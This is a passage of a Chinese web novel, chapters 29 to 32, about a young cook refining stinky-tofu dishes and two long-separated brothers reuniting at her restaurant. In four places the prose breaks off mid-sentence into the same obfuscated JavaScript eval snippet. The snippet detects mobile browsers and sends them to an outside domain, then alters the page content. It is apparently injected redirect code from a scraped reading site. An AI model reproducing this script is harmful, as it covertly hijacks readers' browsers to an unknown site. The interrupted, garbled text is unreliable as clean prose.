尖椒臭豆腐辣得滋味让他很上头，蒸臭豆腐的鲜嫩带着辣更加妙不可言，这两个素菜吃得着时让他忽略了臭豆腐那股霸道的气味，根本停不下筷。 “这两种，哦不对，是三种臭豆腐虽说滋味完全不一样，到让我想起年少时吃过的麻婆豆腐，好吃到挑不出错。”楼韬诚心夸奖，颇有几分怀念，“我家那边早些年有一家桂陈楼，我爸说过最初的桂老师傅当年就靠一手麻婆豆腐，把他一家小路边摊开成了大酒楼，传承到第三代味道依旧非常好，后面票证之后我离开了家乡，就再也没吃过这般好滋味的豆腐。” 辣爽了，但确实更好吃！ 唯一可惜的是，辣味菜容易串起来。 至少不习惯吃辣的齐海月是这种感觉，下午送走齐大山和楼韬出车之后，她空下来就在家常菜馆这里和常嘉欣她们唠嗑这尖椒臭豆腐和蒸双臭。 29.第29章 “这辣味太足了，吃上一口我就哈斯哈斯，想用炒饭和鱼汤解辣，但感觉根本止不住，反而感觉炒饭都辣辣的，鱼汤那就是烫辣。但也是奇怪，这辣吃着越吃越香，根本停不下来。”齐海月点评道，还不忘把楼韬的夸奖分享出来，其中特意讲了桂陈楼的故事，“那楼老板还说了，要是以后小欣要开酒楼可以找他投资，他可是把电话留下来。不过！小欣你要是真要想扩张，到时候需要帮忙可以找我，别舍近求远。” “行啊，等家常菜需要一定。”常嘉欣感觉今天的尖椒臭豆腐进步很大，只是关于辣把菜串味，也确实也拦不住，“那尖椒臭豆腐比蒸霉苋菜梗如何？” “尖椒对我来说辣大于鲜，我还是比较喜欢蒸霉苋菜梗，楼老板就更喜欢尖椒，他炒饭最后是伴着尖椒一起吃完的，说辣得很爽快，不过他也说了，鲜味肯定还是蒸霉苋菜梗足，只是他个人口感更喜辣。” “就是还有再进步的空间。”常嘉欣决定这一周再多练练这个尖椒臭豆腐，她觉得想要这道菜达到sss，调味还要再改改，辣与鲜可以更均衡些，这南江毕竟吃辣没那么多。 常嘉欣这边对尖椒臭豆腐还不算特别满意，那边重新回到益州的楼韬可是念念不忘那一顿臭豆腐的滋味。 好在回来没过几天，他便从友人那边听到了桂陈楼要重新开业的消息。 “听说是桂师傅的徒弟掌勺，这徒弟还入赘桂家改了名，倒是有魄力。” “唉，桂师傅收了不少徒弟，最器重的三个徒弟，大徒弟跟着最久最后却举报桂师傅，二徒弟天赋好可还是另起炉灶，也就这最小的徒弟知恩图报，不仅娶了桂师傅女儿，入赘后也没忘初心，这不，他从国营饭店出来自己干，桂陈楼名字都没变。” 一同约好试试这重新开张的桂陈楼，楼韬还从大家嘴里听到了不少八卦。 楼韬这些年碾转过不少地方，自然真不知道这些：“桂师傅他……也不在了？” “早就没了，就在你离开那年，这桂陈楼变成了国营饭店没多久，桂师傅被他大徒弟举报，被抓后在牢里就没了。” “这大徒弟？”楼韬相当愤懑，这种欺师灭祖的人他这些年见的不少。 “做了国营大师傅没多久，桂师傅那女儿反手举报他偷工减料，也算恶有恶报。” “这……两家桂陈楼？”楼韬没多久就到了店，却发现这儿有两家对立的门牌都写着差不多的牌照，左边的招牌和当年酒楼一样，右边的倒是简单不少，就是最普通的白底红字，而且店面也简陋。 友人比较清楚：“左边是那个天赋好的二徒弟，看清楚，是陈桂楼，这二徒弟姓陈，也算顾念旧情，给酒楼加了一个桂字，算是惦念师傅。右边的就是今天带你吃的，你不是想吃豆腐吗？二徒弟手艺不错，算是学有所成，后面去了别的国营饭店，听说还去什么大师傅那进修过，下次可以去他那尝尝鸡豆花，但招牌菜麻婆豆腐不如这三徒弟，这些年我们去国营必点的就是麻婆豆腐，不过那时候那版本猪肉都没了。” 楼韬叹口气：“这情分看来是没了。” 也是，亲兄弟都能背刺，更何况是这师兄弟。 其实他同时叹息着麻婆豆腐的版本，他还很小的时候桂老师傅用得可是牛肉末，等到桂师傅已经是猪肉版本，再到如今...... “想要吃到最正宗的麻婆豆腐要去益市，那边听说有大厨去年还参加了什么全国烹饪大赛，就凭这麻婆豆腐冲进决赛。” “要我说这桂陈楼豆腐也不差，按照族谱这桂陈楼的陈还是陈麻婆那边的分支呢。” 一行人闲聊几句，楼韬便发现这新桂陈楼如今还称不上酒楼，倒是和那南江吃过家常菜馆差不多。 只是这边大厅要再大点，放了八张八仙桌，桌椅间歇宽松一些。 这桂陈楼新店营业，客人并不多，他们四人点了三菜一汤，上得很快，其中麻婆豆腐确实做到嫩而不散，每一口都沁透着麻辣鲜香的滋味，可楼韬不自觉与他记忆里的两个味道比对：“豆腐鲜活滑润，细嫩烫舌，有七八成像。” 但终究有些失望。 它甚至不如那碗不辣的臭豆腐炒饭惊艳，那炒饭可是让他吃得大快朵颐，忘乎所以，而这盘记忆中的麻婆豆腐，少了一些舌尖上的诱惑，只能让他对曾经的味道越发思念。 “臭豆腐炒饭？”一个两鬓斑白的中年男人穿着厨师服疾步过来。 楼韬这才发现他刚刚把心里话给说出口：“嗯，前阵子我在南江吃到臭豆腐炒饭，很惊艳。” 虽有些唐突，但他还是直言不讳。 “你是…….？”在仔细端详，楼韬感觉来人有几分眼熟。 旁边很快有女声接话：“你是楼韬大哥？可真是许久没见，这是我丈夫，也是如今桂陈楼的师傅，桂不期，你应该记得的。” “楼少爷，好久不见，我是小牛。”桂不期再介绍自己时，楼韬一下就想起来当年那个瘦小的帮工。 那时候楼韬几乎天天来桂陈楼吃饭，他对小牛，哦，不对，桂不期还是有印象的，个子小小黑黑瘦瘦，但那双眼睛很是出彩，平日就在大堂跑来跑去，非常积极干活，就是很少说话，是个闷棍子。 而他身旁就是碎花衬衫搭配黑色裤子的的桂瑜荷，一头飒爽的短发，看着便干净利落，那神态与三十年前好似没有变化，倔强又骄傲。 “哪里有这臭豆腐炒饭？”手艺被点评，但桂不期关注点依旧那个菜品名字。 臭豆腐啊，多少年他没听过。 即便那么多年他刻意忽视年少时的记忆，依旧让他瞬间心颤。 楼韬自然顺势想起了那个传单。 小牛……孙小牛…桂不期！？ 几乎在他们交流的同时，远在南江的常嘉欣发现许久未动的系统任务更新了新提示。 “触发任务·桂不期的芥蒂：桂不期自认为从小被母亲哥哥抛弃，在他不再期待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426816|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的日子里，却听到哥哥追寻他的消息，多年的芥蒂终于有所松动，请协助消除桂不期的芥蒂，任务奖励根据最终桂不期情绪状态发放。” 正在炒尖椒臭豆腐的常嘉欣，颠勺的手略有停顿，但很快便继续专注起来。 她这次用的是蒸过后的嫩版臭豆腐，火候不把控好豆腐内的水分流失殆尽，臭豆腐口感就容易偏硬，所以现在可不能分心。 调味，颠勺翻炒均匀，没一会儿，洒上些许加黄酒收干提味，便可以出锅了。 做完这一切，这才看起来这个又一次自己更新的系统任务…… 桂不期是小牛？他这是看到传单了？所以他在哪里？ 只是怎么变成了被母亲哥哥抛弃？ 就是这个桂姓有些突兀，而且还耳熟。 常嘉欣不解，但又没办法知道这个桂不期更多的信息，只能等着这位桂不期出现。 端着品相味道都不差的尖椒臭豆腐，常嘉欣同常薇薇开始晚饭。 今天的晚饭比较朴素，蛋炒饭，尖椒臭豆腐，还有一碗测试版本的臭豆腐芹菜汤…… 她们晚上就剩下两份臭豆腐，常嘉欣都拿来练手了。 “汤不行？你这像要吐一般。” 常薇薇表情可以说相当复杂，直到看到尖椒才舒缓一些：“这芹菜汤也不是难喝，就是感觉像是芹菜汤去染了一身臭豆腐味，并没有什么特别。” 她也算是长进了，要是搁她弟弟来尝，肯定吃得不亦乐乎。 “好吧，这汤我就纯水煮，估摸着方法有问题，下次我试试其他。”常嘉欣默默扒拉一些尖椒臭豆腐。 “就一定要做那个臭豆腐全家桶？”常薇薇好奇。 “做！”常嘉欣态度相当坚定，“尝尝这个尖椒，不出意外，我下周可以开始专注练汤了。” 虽然蛋炒饭炒那么多天还没见进步多少，但做臭豆腐相关她真有几分天赋的，这尖椒臭豆腐进步超级大。 因为她灵机一动，在末尾出锅前用黄酒调整，这既可以防止豆腐口感变老，又能提味，这小技巧对于尖椒臭豆腐的改进非常有用。 辣香咸鲜，最重要就是臭豆腐都嫩了好几分，这辣味与鲜味交织融合，连带着尖椒的清香都被酒激发融入臭豆腐，而它温润的口感又综合辣意带来的燥感，直接把菜品的口感拉高了一个档次，可以说非常惊艳。 总算做出最满意的一个版本，常嘉欣自顾自点点头，她这臭豆腐全家福的第二个菜总算定下。 “好吃！这个辣得好好吃！”常薇薇眼睛再次明亮，“第一次做就感觉好吃，但是有这个对比，竟然还能更好吃！” 说完，常薇薇又看向了那碗绿意盎然的汤：“小欣，你加油！我可太好奇臭豆腐做汤会是什么滋味！我绝对不会吃吐的！” “我努力。”常嘉欣觉得这种flag一立就有点让人害怕。 不过她也好奇臭豆腐汤的味道可以有多“香”。 30.第30章 对比尖椒臭豆腐，做臭豆腐汤难度加大了不少。 首先搭配选择太多了，尖椒臭豆腐搭配目标很明确，尖椒+臭豆腐，专注怜惜九可以。 可等到做汤，常嘉欣实验了不少搭配。 芹菜汤爽口，用的臭豆腐最好煎过，不然不说卖相差，味道也会因为融合不了变得很奇怪；用茼蒿倒是好做很多，直接煮还是用煎过的臭豆腐都可以，但是问题在于茼蒿本身的涩味，还可以用猪肚烧臭豆腐汤…… 种类方向越多，需要努力使劲的目标点就会分散，最终结局就是常嘉欣在臭豆腐汤上的开发上有些停滞。 不过，陷入困境后，常嘉欣索性就去系统空间里学她的酱料大全或者丸子，等调解完状态还是找不到感觉，她就另辟蹊径，既然汤难，她就先把臭豆腐烧肥肠给攻克。 这道菜有卤味打底，倒是与尖椒臭豆腐一般精进很快，这自信心又起来，常嘉欣就继续研究汤，茼蒿汤肯定是可以做出好喝的，但是怎么做？ 不管了，都试试吧！ 以常嘉欣的钻研精神，最终臭豆腐全家福的进度还算喜人，这一个月都不到，她就有了不少收获。 在试菜期间，常薇薇想吃吐倒是不至于，但这段时间里确实让她对臭豆腐生出一点点抵触的心里。 如今厨艺有不少底气，常嘉欣定下能上菜单的标准比较高，要达到她的标准，练得也就多，为了防止浪费，常薇薇和马叔、袁姨他们愣是全力吃完，这吃多了，自然有些情绪。 而且常嘉欣试验的东西实在是多，一旦做汤遇到瓶颈，她还会搭配各种食材做炒货，新鲜的毛豆、春笋这类，也有腌菜、干菜、酸菜，水产方面，算是把大多数鱼都试验了遍，还不限制江河湖海，至于荤菜，猪下水那自然一个都不拉下，也尝试了牛、羊这类食材，好在虽然花样百出，结局却很喜人。 情绪归情绪，最多也就一点点，因为常嘉欣再怎么倒腾臭豆腐的新菜，也不至于真难吃，这家常馆的员工们或许有一些抵触，但没有因为新菜品吐过，甚至有了各自的喜好。 常薇薇目前最推崇的是臭豆腐烧汪刺鱼，马叔比较喜欢黄焖臭豆腐猪尾巴煲，袁姨虽然没表示过，但基本上包圆了猪肚臭豆腐汤和茼蒿臭豆腐汤，至于常嘉欣本人嘛，还是最喜欢尖椒臭豆腐。 * 说起来，对比其他人，常薇薇他们已经属于幸福人群，如今不少客人为了吃上臭豆腐炒饭，在中午要排队等上半小时才可以，毕竟这臭豆腐炒饭的广告已经打出去也快一个月了。 “孙叔，周姨，晚上好。”常薇薇看到孙勇一家，热情上前接待，同时蹲下身子，从兜里掏出一把大白兔糖，“纳，这是姐姐给你的生日礼物，小寿星。” 今天一早，常嘉欣就说起孙勇家应该要过来吃完饭，她们特意多准备了一些食材，就是担心消耗太快到晚上都没什么食材。 孙圆圆没有接过糖，而是握紧周萍奶奶的手，奶声奶气道：“谢谢。” 周萍略有迟疑，不过还是接过糖：“谢谢。” 糖经过奶奶的手，孙圆圆很爽快地把它们踹进兜兜里，再说话，那语声里带着蜜糖般的温软和粘稠：“谢谢姐姐～” 在出餐口等着他们点菜的常嘉欣看圆圆那变通的语气，听着很上头，决定等下送餐的时候也要收获这个。 同时，她也注意到，即便系统的任务更新只有常嘉欣知道，可如今孙勇的精气依旧好上了一大截。 招呼孙家坐下，常薇薇这才发现少了一人：“孙满哥这是？” “他还在店里忙活，等下来。”再提到孙满，孙勇嘴角噙着笑纹就很难下来，“还是五碗臭豆腐炒饭，一个番茄鱼头豆腐汤，还有......” 这个月臭豆腐生意稳步上升，他想再点加些菜。 “臭豆腐全家福？” 顺着他视线，店里新增了一个黑板，上面写着：臭豆腐全家福套餐，6月上新，敬请期待。 “叔，要尝尝吗，你们第一个尝试，我算你们特价。”常嘉欣在窗口推销，晚上生意比以前好，但大多还是以打包回家为主，所以此时店里的客人不算多，她的声音可以很清楚传到孙勇耳边。 “那就试试，就这个这个全家福。”孙勇几乎没有犹豫，多好的寓意啊。 “好嘞。”常嘉欣摩拳擦掌，她敢下周就上新这全家福自然是有自信的，这可是她全心全意研究出来的菜品套餐，不说个个拔尖，但最低至少都能评个S级别。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432253|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知道是她天赋歪，还是蛋炒饭过于考究基本功，这饭她炒一个月才勉强达到s，可她第一次做臭豆腐烧猪尾巴她都能达到S级别，而如今这道菜已经能够媲美臭豆腐炒饭。 这若是人有尾巴，常嘉欣一定翘起来。 站在灶前，常嘉欣认真思索了一下今天要登场的全家福。 黄焖臭豆腐猪尾巴煲可以做，还有臭豆腐蒸霉苋菜梗和臭豆腐烧汪刺鱼也可以定，这三道味道实属顶尖，肯定要在套餐里。 汤他们已经点了番茄鱼头豆腐汤，可以改成臭豆腐蒸肉饼，有两个蒸菜快捷一些。 有小孩，她最爱的尖椒臭豆腐不太合适，可以换成清炒臭豆腐，用毛豆、笋粒和虾皮做点缀，会比较合适南江的口味。 对了，要不餐前可以来个小吃？ 做个香煎臭豆腐，浇上她的秘制酱汁，酸甜口感受酱汁与臭豆腐的碰撞，绝对好吃，这种小吃圆圆一定很喜欢。 确定好全家福菜品，常嘉欣立马备菜开火。 第一道准备先把香煎臭豆腐给做出来，想到她研究一个月的臭豆腐新菜要在孙勇一家面前展现成果，常嘉欣就异常雀跃。 右边先起锅，倒入油，下蒜末、葱花、以及刚做好的豆豉酱，炒出香后，改特小火，用余温开始做酱汁调味，逐步加入芝麻，生抽，蚝油，白糖，陈醋...... 其中，这陈醋是酱汁滋味融合的关键，前世她吃自制的火锅蘸料就习惯加一点醋，也算是歪打正着，因为以常嘉欣如今的眼界，做很多酱料需要两个大法宝，白糖和醋，前者能提鲜，后者调动味蕾将各种滋味递进融合再放大，堪称一绝。 调味完毕，最后在倒入些许水，开始进入搅拌环节，这酱汁等到最后用淀粉勾芡前，她要就用筷子同一方向一直搅拌着。 这边搅拌的同时，她左边锅同样下油，将切成方块的臭豆腐用小火慢煎。 左边是滋啦滋啦的油泡泡在豆腐四周鼓动，她需要偶尔翻用筷子反身，右边则是用筷子搅拌，双手忙不停，可常嘉欣哼着不知名的歌，偶尔扭动着身体，与她共舞的还有在鼻翼间的香味，相当惬意享受。 而在她在厨房悠哉悠哉的时候，外面来了两位特殊的客人。 31.第31章 桂不期和桂瑜荷坐着晚班车风尘仆仆从益州赶到南江，抵达车站时已经差不多快晚上六点。 一到车站，他们就向三轮车师傅问了楼滔说的那个传单。 “哎呦，你们是专门过来吃臭豆腐的？”听到两个客人专门问传单，杨锣从车座地的小盒子里拿出了一张，“也是运气好，我这还剩一张。” 桂不期一看到传单反面那条寻人启事，双眼再次泛红。 “是有这想法。”目前传单上的折痕看起来已经折过好几次了，可不算新，桂瑜荷对这个家常菜馆日常运作有些好奇，“这传单很火热吗？家常菜馆因为这个生意很好？” 她的桂陈楼开业并不顺利，经营一个月后算是被迫关上了大门，当看到这种新奇的宣传方式，自然是想学习。 “火热啊，怎么不火热，这拿传单能免费送一碟卤味或者多吃两个鱼丸呢，而且就常姐那手艺，生意能不好嘛。之前新经济区那边附近的人没事就找我们打个车，就为了这传单。”杨锣帮两人行李用绳子绑在后尾，“怎么说，是直接去家常菜馆还是要去哪里？这会儿过去家常菜馆还开，也不用排队，比中午吃方便多了。” “你们要是去家常馆我给你们便宜一毛，到时候我也吃个炒饭，吃完还能送你们。”杨锣本来就准备要去家常菜馆一趟，她女儿回来了，所以特意今天出门带着饭盒呢。 “那附近有住宿吗？”桂瑜荷问完，看到桂不期那表情，又问道，“这大牛臭豆腐坊现在还营业吗？” 她自然知道桂不期想直接去大牛臭豆腐坊。 “那边臭豆腐基本中午卖完就关了，要想自己做也行，不过自己做真不如家常馆的。”杨锣一想到那在家做过的臭豆腐，对比相当惨烈，“新经济区那边除了招待所，还有不少个人经营旅馆，那家常菜不远处就有一家，干净又便宜。” “那先去家常菜馆吧，我们吃个饭再去旅馆。”桂瑜荷看向桂不期，见他没反应，“谢谢师傅。” “好嘞！”想到回家给一个月未见的女儿带好吃的，杨锣蹬起来格外卖力，恨不得马上抵达。 半小时车程后，杨锣对着家常馆旁边的香烟摊彭叔打了个招呼，把车停他摊位旁边，对着这两个外地客人特意补充，“这香烟摊之前在车站那边的，我们熟得很，现在才固定摆这，放心，你们的行李丢不了。” “杨姐，今天很早啊，想吃什么。”薇薇很快迎上她进门。 “吃个炒饭，不过重点是打包，我买两个菜回去给女儿尝尝。”杨锣举着手里的几个饭盒，笑着招呼。 “哎呦，我说声音怎么那么熟悉。”常嘉欣带着刚做好的香煎臭豆腐出来，就听到杨锣的声音，“呀，大侄女回来了，那这龙眼凤肝我都给她搞来。” 这语气神态和当初说自己是混江湖的常姐可没差。 “你就吹吧。”杨锣好笑道，自从常嘉欣和她解释应对金书他们那混道上的说法，她算是看透这小姑娘活络的嘴巴。 “我可真不是胡说，龙眼凤肝这道名菜真有。”常嘉欣心想，只是她不会做而已。 杨锣一脸狐疑。 桂瑜荷跟着一起进来，听到此，在一旁有意插话：“是的，北方鲁菜的名菜——龙眼凤肝，原材料是鹅肝和猪大肠。” “听到了吧，行家都知道。”常嘉欣转过头，便看到桂瑜荷，会心一笑点头示意。 “听到了，可惜我女儿不爱吃。”杨锣连连摆手，女儿可不爱吃这内脏，顺势介绍，“这是我刚从车站拉来的益州客人，人家就是听说臭豆腐特意过来尝尝呢。” “欢迎欢迎，今天我卤了不少好东西，到时候多送你们一点。”常嘉欣不由打量起两位客人。 女士年龄应当和常母一般，莫约40出头，但外型很出挑，一头飒爽的短发与略方的下颚呼应，显得特别端庄大气，至于旁边中年男人穿着灰色的中山装，身形健硕，只是表情落寞一些，而且常嘉欣刚刚就注意到，对方眼睛红着进来，状态不算很好。 “谢谢，我叫桂瑜荷，其实过来是想找人，找这位孙勇。”说着，她还将传单上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436956|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寻人启事点了出来，指着旁边的男人，“他也叫小牛，与家人失散多年，有一位哥哥叫大牛。” 桂瑜荷的普通话很标准又清晰，当听到小牛这个词，孙勇很难忽视，他刷一下站起来，顺着声音看过来。 “我就是大牛......小牛？” “大牛？” 益州，姓桂，桂陈楼。 常嘉欣想起那个曾经齐海月带过来的益州客人，那么这位中年男人应该就是桂不期。 从儿时记忆来看，时隔那么多年后，身型倒是转换了过来，小牛如今比哥哥高大不少，大牛身上也看不出年少时的模样，跟别提小牛了。 即便从五官气质来说，两兄弟在人群中相见估计很难相认。 臭豆腐炒饭这根“线”，已经成为了“鹊桥”。 “看来我要多加两个炒饭。”常嘉欣招呼薇薇给他们加两个凳子，同时让她给杨姐的单做个备注，便转身进入厨房忙活。 两人顺势坐下来，本该有许多话说的彼此，却不知道如何开口。 孙圆圆虽然感觉到气氛有些不一样，却不妨碍她分东西，数了数臭豆腐还剩下9块，非常有礼貌地给在座的每一个人分上了一块臭豆腐，还有两块多。 她歪着脑袋看了一圈她的家人们，最终一块分给最爱的奶奶，剩下那块掐成两分给到爷爷和爸爸：“我刚刚给大家尝了尝，酥酥嫩嫩甜甜，可好吃了。” 旁边孙明想说什么，最后想到今天是妹妹的生日，只好抿抿嘴。 孙圆圆自然舍不得自己碗里的第二块臭豆腐，可还是特别机灵，香煎臭豆腐的汤汁剩下不少，吞了吞口水，推向哥哥孙明：“哥哥，这个汁特别香香，都给你了。” 明明是一个简单的互动，却让孙勇回忆起了曾经的过往：“1949年夏天，那个番茄你没吃吧，还骗我们说吃了。” “恩，只有两个。”桂不期感觉自己喉咙里挤出的声音仿佛被砂纸磨过，“妈她煮进了汤里，后来我再也没喝过那么好喝的番茄鱼头豆腐汤。” 32.第32章 常嘉欣和常薇薇端着最后的臭豆腐炒饭和汤时，孙勇和桂不期两人的眼眶都红了不少，此时两边的家人情绪也都很复杂，因为桂不期提到他入赘桂家。 倒是两个小孩一点也没收到影响，圆圆的脸没抬起来过，向来觉得自己长大的孙明，也满嘴酱汁，吃得毫无章法，不时摇头晃脑满足地点点头。 “......对不起，哥，我，我现在叫桂不期，已经入赘的桂家。”说到最后，桂不期声音越发低沉。 不期，是因为不期待家人，再加上从未感受过的父爱，再对比桂师傅一家对他的养育之恩，桂不期在同桂瑜荷在一起后，便毅然决然选择入赘桂家。 他没想到母亲和哥哥从未重逢，甚至老家的村落因山体滑坡不复存在，此时的他心中已经断定母亲在途中遇险，而非抛弃他。 桂不期不敢看桂瑜荷，更不敢看哥哥孙勇。 桂瑜荷也不知道说些什么，因为有私心，她不知道怎么开口让桂不期改回去。 孙勇则是恍然，他没想到弟弟连孙姓都不要了，可念及那么多年照顾他的桂家父女，他也不知道怎么开口。 “不期，不期，不期而遇，这个名字挺好的。”常嘉欣在这个时候开口道，放下手里的碗，“你们的臭豆腐全家福齐了，这番茄鱼头豆腐汤虽然不在全家福里，可桂叔你一定要尝尝，还有这臭豆腐炒饭，孙叔刚开始吃可是吃哭了，说是记忆里的味道，记得多吃点。” 桂不期的情绪再次被拉了出来，其实刚刚吃到臭豆腐蒸霉苋菜梗的时候鼻翼就很酸，那是小时候吃过的菜，本就眼眶泛红再次蓄力泪水。 常嘉欣觉得他们今天刚重逢，还没消化情绪，不需要急着争什么生养之恩，还不如多吃点。 把最后一小碗放在圆圆面前，她特意将兜兜里的小盒子交给圆圆：“圆圆生日快乐呀，饭饭好吃吗？” “好吃，谢谢姐姐～” 孙圆圆高兴极了，忍不住看向奶奶周萍，眼睛都弯成月牙：“下次花花姐再和我炫耀她妈妈在她生日时买的小裙子，我也可以炫耀，今天收好多好多礼物，我还有了小爷爷和小奶奶，还吃了好多好多好吃的，她肯定都没有。” 原本桂不期的到来还没特别感触的孙满，莫名鼻翼一酸，他想说点什么，可喉咙似被堵住了。 周萍对着常嘉欣点头，摸了摸圆圆的头：“恩，我们圆圆是有福的。” “是啊，以后圆圆就多了一个小爷爷和小奶奶，礼物都要收不过来。”常嘉欣笑着说，紧接着看向沉默许久的桂瑜荷，“刚听你说龙肝凤眼，以为你们是北方呢。这桂陈楼我曾听食客说过，桂师傅的麻婆豆腐非常好吃，有机会我也想尝尝。” 桂瑜荷内心的情绪波动最为剧烈，只是话却有些冷漠：“他不在了，桂陈楼其实也不在了。” 她情绪波动大其实不是因为这话题，而是常嘉欣。 手艺不会骗人，她想起刚刚那块香煎臭豆腐。 金黄色的臭豆腐块沾着酱红色的汤汁，看着也简单，臭与香交错，气味很特别，视觉与嗅觉一交融，莫名让她很有食欲，焦脆外壳咬下去便“咔嚓”裂开，酱汁与内里的嫩豆腐便在口中充分接触，鲜香滋味，让人上头。 桂瑜荷还很想细品这酱汁调法，这酱汁与她记忆中麻婆豆腐的汁有几分相似，为此，她没有什么忌讳，用筷子沾着碗边留下来的酱汁，酱香中是有一股豆豉，还有一股特殊的香甜味，似乎是番茄？ 可惜，这酱汁吃到得并不多，她分辨不出太多，但可以很确定，对方调味功底非常扎实。 所以再看到这位年轻的女厨师，低头又见那白瓷碗边缘剩下浅浅的红色划痕，桂瑜荷心情非常复杂。 或许这位女厨师仅凭借那香煎臭豆腐，有一天就会同曾爷爷一般，从路边摊做到大酒楼。 再回顾自身，桂瑜荷想到她的桂陈楼被那二师兄挤压到难以生存...... 常嘉欣垂眸：“抱歉......” “没什么，其实我师傅二十多年前便去世了，后面桂陈楼改成国营饭店。”桂不期默默在桌底握住桂瑜荷的手，他刚刚模糊了这一段过往，“我和小荷这些年扶持过来，前些日子开了新的桂陈楼，说来也丢人，我师傅的二徒弟也开了酒楼，可惜我手艺没学好，店经营并不好，所以关了，也是因此，才有时间过来这边。” 桂不期几乎将自己的无能、懦弱摆在了明面上，甚至不遮掩，他明知道哥哥的消息却没第一时间过来。 就在孙勇还都不知道说什么的时候，一直未参与他们长辈话题的孙满开口了，语气干脆利落：“叔，我们都是一家人，只要有需要，您尽管开口，只要我能帮得上的，义不容辞。” “我这没什么能帮的上的，但是免个单还是能做的，你们慢慢吃，我这边先去忙了。” 孙满这句话一出，常嘉欣感觉其实自己不需要再做什么，都不等孙勇他们拒绝，便转身给薇薇一个眼神示意，同时带着杨锣进到厨房，笑到：“等久了把，晚上就点了臭豆腐炒饭和猪尾巴？这今晚大侄女的晚餐常姐请客，你不要客气。” “原先想着自己先在店里吃呢，不过看那边就干脆打包回家。”杨锣提到女儿她眉眼有无奈也有宠溺，“你不知道，她挑食得很，除了内脏不吃，像是韭菜芹菜这种蔬菜她也不喜欢，鱼觉得腥也不爱吃，喜欢吃甜口，又不要太甜，这卤猪尾巴她肯定喜欢，但我也不知道臭豆腐炒饭合不合她心意，她以前在家可不爱吃臭豆腐。” “甜口啊。”常嘉欣思考自己擅长的领域，发现除了炸鱼丸还真没合适的，这炸鱼丸闷在饭盒里带回去可就不好吃了，“那我再送她一个糖醋荷包蛋好了。 其实糖醋里脊更合适，不过她要做嫩的里脊肉还需要不少练，自然不敢直接尝试。 荷包蛋就不一样，她有烧荷包蛋的基础，只要调好糖醋汁，做起来简单又好吃。 “行啊。”杨锣没再客气，递过饭盒，去到一旁等待。 常嘉欣先把糖醋汁调起来，酱油、陈醋、白糖是这道菜的基地，然后加上她制作的番茄酱与蚝油，倒入一些水和淀粉，搅拌均匀，菜就算成功一半。 连着煎八个鸡蛋，常嘉欣都没做溏心，而是将两面煎到边上带着些许焦黄脆皮，这般脆脆的外皮与内里嫩软的蛋黄配合，口感最佳。 把煎蛋放在一旁后，便开始起锅少蒜末，把料好的糖醋汁倒入，用勺子再锅里打圈至浓稠挂勺，放入煎蛋，等它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444458|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们吸满汤汁，便可以出锅。 再把另外猪尾巴和炒饭做好，常嘉欣将杨锣的菜都打包好递给杨锣。 “那全家福，寓意真好。”杨锣在旁边也算了解孙家的前因后果，接过饭盒时感慨完才招呼常嘉欣，“他们估计还要叙旧，行李你帮忙拿一下？这你请我女儿吃好吃的，我得请他们免费坐车了。” 常嘉欣本来跟着一起往车那边走，立刻装着往回走道：“哎呀，那么委屈，要不我现在帮你去要车费？” “你这丫头！” 常嘉欣笑着被她拉到车旁，看到了香烟摊旁边的人，热络得招呼：“彭叔你那么晚还开摊着啊，活该发大财。” “这不是你没关门嘛，跟常老板才能多赚钱啊。”彭叔嘴也甜。 杨锣笑道：“行了行了，你们都是发财的命。” “嘿嘿，小道消息，最近物价又要开始涨了，这人啊，都离不开衣食住行。”彭叔相当爽快，还机推销道，“趁着还没涨价，给公公、老公买几包？” “烟这好意思算吃得啊，而且我都烦死他们抽烟的，还让我买？”杨锣无奈挥挥手，很快带着饭盒离开了。 常嘉欣听了还真有着想法，她和薇薇已经商定好，等到端午，店里就休息一周，她们一同回薇薇家过个节，顺便再走一下姑姑家。 到时候她肯定带着礼物去做客，烟酒应该最合常大伯他们这些男人的心意，而且彭叔这的牌子都不错，就是价格还可以再压压，毕竟她可是彭叔的“衣食父母”。 